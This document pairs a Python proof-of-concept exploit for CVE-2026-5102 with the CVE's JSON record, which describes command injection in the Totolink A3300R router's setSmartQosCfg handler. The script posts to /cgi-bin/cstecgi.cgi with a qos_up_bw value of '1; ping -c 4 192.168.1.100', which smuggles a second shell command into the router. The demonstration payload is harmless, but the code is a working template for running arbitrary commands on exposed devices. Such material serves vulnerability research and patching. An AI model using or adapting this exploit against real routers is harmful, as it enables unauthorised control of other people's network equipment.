CVE-2026-5102

import requests def exploit(target_ip): # Target endpoint url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Malicious payload to execute a shell command (e.g., ping) # The payload injects a command separator ';' to bypass the intended logic payload = "1; ping -c 4 192.168.1.100" # Construct the data payload data = { "function": "setSmartQosCfg", "qos_up_bw": payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check your network listener for ICMP packets.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)

{"cve": {"id": "CVE-2026-5102", "sourceIdentifier": "[email protected]", "published": "2026-03-30T00:16:01.997", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Totolink A3300R 17.0.0cu.557_b20221024. This vulnerability affects the function setSmartQosCfg of the file /cgi-bin/cstecgi.cgi of the component Parameter Handler. The manipulation of the argument qos_up_bw results in command injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks."}, {"lang": "es", "value": "Se ha descubierto una vulnerabilidad en Totolink A3300R 17.0.0cu.557_b20221024. Esta vulnerabilidad afecta a la función setSmartQosCfg del archivo /cgi-bin/cstecgi.cgi del componente Gestor de Parámetros. La manipulación del argumento qos_up_bw resulta en inyección de comandos. El ataque puede ser ejecutado remotamente. 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